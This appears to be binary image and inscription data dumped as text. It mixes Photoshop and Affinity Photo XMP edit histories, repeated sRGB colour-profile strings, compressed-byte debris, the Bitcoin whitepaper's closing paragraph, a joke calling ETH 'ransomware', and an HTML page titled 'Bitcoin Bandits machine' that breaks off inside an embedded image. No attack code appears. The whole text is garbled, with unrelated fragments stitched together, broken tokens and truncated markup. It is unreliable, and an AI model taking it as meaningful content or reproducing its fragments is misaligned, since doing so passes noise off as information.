" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.89d63a01, 2021/12/10-15:20:20        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
m/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" photoshop:DateCreated="2023-02-12T21:56:28" photoshop:LegacyIPTCDigest="3B1C6A7AEFFBAB04D08460C699514E40" photoshop:ColorMode="3" photoshop:ICCProfile="Display P3" xmp:CreateDate="2023-02-12T21:56:29-05:00" xmp:ModifyDate="2023-02-14T21:39:10-05:00" xmp:MetadataDate="2023-02-14T21:39:10-05:00" xmp:CreatorTool="Adobe Photoshop 22.5 (Macintosh)" dc:format="image/jpeg" xmpMM:InstanceID="xmp.iM
id:8d62a183-9582-462d-9b10-73b6ba0efc78" xmpMM:DocumentID="adobe:docid:photoshop:b3fbe74f-f935-7c45-a545-f3ad5d7b5b07" xmpMM:OriginalDocumentID="xmp.did:9b02e600-b919-4daf-9305-b1edde1d2351"> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:5c2e0017-3137-ff40-9f68-53f4adc4ee53</rdf:li> <rdf:li>adobe:docid:photoshop:7e41a5fa-5ed2-cf48-80fb-2b17a06afcc9</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:9b02e600-b919M
-4daf-9305-b1edde1d2351" stEvt:when="2023-02-13T00:31:25-05:00" stEvt:softwareAgent="Adobe Photoshop 22.5 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from image/png to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from image/png to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:6c4856af-9443-41ca-bd08-0e578d7af9d5" stEvt:when="2023-02-13T00:31:25-05:00" stEvt:softwareAgent="Adobe Photoshop 22.5 (Macintosh)" stEvt:changed="/"/> M
<rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:882d241a-fb68-4958-9b62-c87a1749df32" stEvt:when="2023-02-13T18:15:49-05:00" stEvt:softwareAgent="Adobe Photoshop 22.5 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from image/jpeg to application/vnd.adobe.photoshop"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from image/jpeg to application/vnd.adobe.photoshop"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:772f6556-b4e0-4d3b-8a36-4fbac87a3632" stM
Evt:when="2023-02-13T18:15:49-05:00" stEvt:softwareAgent="Adobe Photoshop 22.5 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:6565d533-ec93-4c95-a151-edc5307aa4f0" stEvt:when="2023-02-14T21:38:02-05:00" stEvt:softwareAgent="Adobe Photoshop 22.5 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop M
to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:26284df2-ea40-4754-9d5a-317ef9836321" stEvt:when="2023-02-14T21:38:02-05:00" stEvt:softwareAgent="Adobe Photoshop 22.5 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:8d62a183-9582-462d-9b10-73b6ba0efc78" stEvt:when="2023-02-14T21:39:10-05:00" stEvt:softwareAgent="Adobe Photoshop 22.5 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6565d533-ec93-4cM
95-a151-edc5307aa4f0" stRef:documentID="adobe:docid:photoshop:7e41a5fa-5ed2-cf48-80fb-2b17a06afcc9" stRef:originalDocumentID="xmp.did:9b02e600-b919-4daf-9305-b1edde1d2351"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                         <?xpacket end="w"?>
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
transparencyDitherAlgorithmenum
transparencyDitherAmountlong
HTMLBackgroundSettingsObjc
BackgroundColorBluelong
BackgroundColorGreenlong
BackgroundColorRedlong
BackgroundColorStatelong
BackgroundImagePathTEXT
UseImageAsBackgroundbool
AlwaysAddAltAttributebool
FileSavingSettingsObjc
DuplicateFileNameBehaviorlong
HtmlFileNameComponentsVlLs
ImageSubfolderNameTEXT
NameCompatibilityObjc
NameCompatWindowsbool
OutputMultipleFilesbool
SavingFileNameComponentsVlLs
SliceFileNameComponentsVlLs
UseImageSubfolderbool
UseLongExtensionsbool
GoLiveCompatiblebool
ImageMapLocationlong
IncludeZeroMarginsbool
QuoteAllAttributesbool
SpacersEmptyCellslong
SpacersHorizontallong
UseLongHTMLExtensionbool
MetadataOutputSettingsObjc
AddXMPSourceFileURIbool
WriteXMPToSidecarFilesbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0M
/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmp:CreateDate="2021-04-06T18:29:34+03:00" xmp:ModifyDate="2023-02-14T13:20:07+04:00" xmp:MetadataDate="2023-02-14T13:20:07+04:00" dc:format="image/jpeg" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:0f4534d3-442f-d542-a5f5-e72be36adac8" xmpMM:DocumentID="adobe:docid:photoshop:d350e191-bd23-294a-a9f4-99a031891fa4" xmpMM:OriginalDocuM
mentID="xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a"> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:05e5cae0-8436-0c42-9166-097c2a91de8d</rdf:li> <rdf:li>adobe:docid:photoshop:0715d466-ca4e-c949-8a7b-b7738a31458a</rdf:li> <rdf:li>adobe:docid:photoshop:1025ca46-c544-11ec-a8dd-879706ff01ac</rdf:li> <rdf:li>adobe:docid:photoshop:179e26ae-ac21-11ec-8492-e82857642bc9</rdf:li> <rdf:li>adobe:docid:photoshop:1a44f29e-d913-11eb-bf95-a62551f149d0</rdf:li> <rdf:li>adobe:docid:photoshop:2bec54e6-a2c2-1M
1eb-abfc-e5b9ba12c377</rdf:li> <rdf:li>adobe:docid:photoshop:35f02a7c-5539-184b-ae57-6406d162c756</rdf:li> <rdf:li>adobe:docid:photoshop:50fae968-2cee-11ec-a0eb-eb2644101924</rdf:li> <rdf:li>adobe:docid:photoshop:54d9a0c5-a384-11ec-9469-913a8dfb9a4d</rdf:li> <rdf:li>adobe:docid:photoshop:59944642-c33d-7147-b11c-535218f63dab</rdf:li> <rdf:li>adobe:docid:photoshop:59ebded0-842a-11ec-9a41-a618b0b44948</rdf:li> <rdf:li>adobe:docid:photoshop:5ab31c48-5f35-11ec-9b04-d151900b5a20</rdf:li> <rdf:li>adobe:docid:photoshop:5c4M
6e872-8b4e-11ec-ae84-b95ef1ebbd4c</rdf:li> <rdf:li>adobe:docid:photoshop:63d8ef67-c504-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:7557402f-7207-11ec-b40e-f8b8942e67c0</rdf:li> <rdf:li>adobe:docid:photoshop:76f5c79c-c384-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:8121ede9-9eab-11eb-9b31-9be16abe8e48</rdf:li> <rdf:li>adobe:docid:photoshop:8a6e25cb-e0c5-11ec-956f-d5af5d10d567</rdf:li> <rdf:li>adobe:docid:photoshop:91f77e6a-7ac7-11ec-afc9-97a47fcc03f0</rdf:li> <rdf:li>adobe:docid:pM
hotoshop:94b006f6-1fb4-11ed-88a3-c54808fec630</rdf:li> <rdf:li>adobe:docid:photoshop:9a0ccf07-1d54-11ec-b9df-f37e6a19565b</rdf:li> <rdf:li>adobe:docid:photoshop:9be0e1c9-be61-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:b536a12b-7a05-11ec-afc9-97a47fcc03f0</rdf:li> <rdf:li>adobe:docid:photoshop:b7e9e60a-d915-11eb-bf95-a62551f149d0</rdf:li> <rdf:li>adobe:docid:photoshop:ba554f49-bc7a-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:bd0c769e-c773-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>aM
dobe:docid:photoshop:c24dd136-ae41-11eb-b310-f483973798b5</rdf:li> <rdf:li>adobe:docid:photoshop:ccc20e8b-9eb0-11eb-9b31-9be16abe8e48</rdf:li> <rdf:li>adobe:docid:photoshop:d7461191-f467-11eb-89a4-a784cc65f8bd</rdf:li> <rdf:li>adobe:docid:photoshop:d8870fde-c3a6-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:dae56c96-153a-11ec-af67-b1534ab9d843</rdf:li> <rdf:li>adobe:docid:photoshop:e6d5ee28-72ef-11ec-bfab-e14d7f2e3fda</rdf:li> <rdf:li>xmp.did:28CB92A1AD1711EB8A26F9FF906B89F1</rdf:li> <rdf:li>xmp.didM
:38F87AAEA9D611EBBAE395DE687C6803</rdf:li> <rdf:li>xmp.did:40C2E0EBB80111EBAFE4F6C2E9269301</rdf:li> <rdf:li>xmp.did:D988A02B7AD311ECA9CB99941B0A6A86</rdf:li> <rdf:li>xmp.did:ee28af6e-adac-0147-86f3-18c958f404ce</rdf:li> <rdf:li>xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:fa36948d-d597-2d4f-8c83-161e9adc115a" stEvt:when="2021-04-06T18:29:34+03:00" stEvt:softwareAgent="Adobe PhotoshoM
p CC 2015 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:dad318dc-42fd-dc4a-b9d8-38769b1d6793" stEvt:when="2021-04-13T13:49:22+03:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:33c6635a-f3dd-fe47-9f04-4df4019c3aaf" stEvt:when="2023-02-14T13:20:07+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photosM
hop to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:0f4534d3-442f-d542-a5f5-e72be36adac8" stEvt:when="2023-02-14T13:20:07+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:33c6635a-f3dd-fe47-9f04-4df4019c3aaf" stRef:documentID="adobe:docid:photoshop:44373315-a63f-ab4a-98ca-0adeebM
2caee0" stRef:originalDocumentID="xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                             <?xpacket end="w"?>
(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(BP
+ZZ(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(BP
(B(B(B(B(B(B(B(B(B(B(BP
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
pE|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|E|Cm
ExExExExExExExExEx'5
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
((((((((((((((((((((((((((((((((((((((((((((((((((
Adobe Photoshop 21.1 (Windows)
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://wwwM
.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" dc:format="image/jpeg" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:MetadataDate="2023-01-03T18:5M
4:19-05:00" xmp:CreateDate="2022-12-26T12:07:40-05:00" xmp:ModifyDate="2023-01-03T18:54:19-05:00" pdf:Producer="Adobe PSL 1.3e for Canon" xmpMM:OriginalDocumentID="uuid:4dd8a963-0000-4142-4344-454600000000" xmpMM:InstanceID="xmp.iid:27e101b5-8c53-9a40-b10b-da68a06fe4a7" xmpMM:DocumentID="adobe:docid:photoshop:9fbd8ab4-b65a-2740-9c65-8d05c4a534b3" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="converted" stEvt:parameters="from application/pdf to applM
ication/vnd.adobe.photoshop"/> <rdf:li stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/" stEvt:when="2023-01-03T18:54:19-05:00" stEvt:instanceID="xmp.iid:7fe6d9e1-75ea-3f44-a60c-770bfce12d53" stEvt:action="saved"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/pdf to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/" stEM
vt:when="2023-01-03T18:54:19-05:00" stEvt:instanceID="xmp.iid:27e101b5-8c53-9a40-b10b-da68a06fe4a7" stEvt:action="saved"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:originalDocumentID="uuid:4dd8a963-0000-4142-4344-454600000000" stRef:instanceID="xmp.iid:7fe6d9e1-75ea-3f44-a60c-770bfce12d53" stRef:documentID="xmp.did:7fe6d9e1-75ea-3f44-a60c-770bfce12d53"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                             M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                            <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
)Optimized with https://ezgif.com/optimize
IIIJIJJJLLLOMOUPRcRORRRXS,
IIIJIJJJLJOULJOQPQRPXRQURUcW
LJLMU^ONOOOUQJPQXmRRXS
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
{c>7cys\:www5^smmmv_;|||110nX8ttt^L0
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-14T02:34:13+01:00"
   xmp:ModifyDate="2023-02-14T02:34:13+01:00">
      xmpMM:action="prM
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-12T20:26:37+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T19:40:25+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T22:39:18+01:0M
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
      stEvt:when="2023-02-14T02:34:13+01:00"/>
  </rdf:Description>
<?xpacket end="r"?>|
iCCPsRGB IEC61966-2.1
((((((((((((((((((((((((((((((((((((((((((((((((((
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
u*n{@ke`|p{q0	Llps>wM
text/plain;charset=utf-8
We have proposed a system for electronic transactions without relying on trust. We started with the usual framework of coins made from digital signatures, which provides strong control of ownership, but is incomplete without a way to prevent double-spending. To solve this, we proposed a peer-to-peer network using proof-of-work to record a public history of transactions that quickly becomes computationally impractical for an attacker to change if honest nodes control a majority of CPU power.
text/plain;charset=utf-8
text/plain;charset=utf-8
1/10 ETH IS RANSOMWARE COLLECTION
Yeah man ETH is straight ransomware. They make it nice and easy to move money in, but you can't get out without paying a whole day's wages to some kid in a teddy bear costume.h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
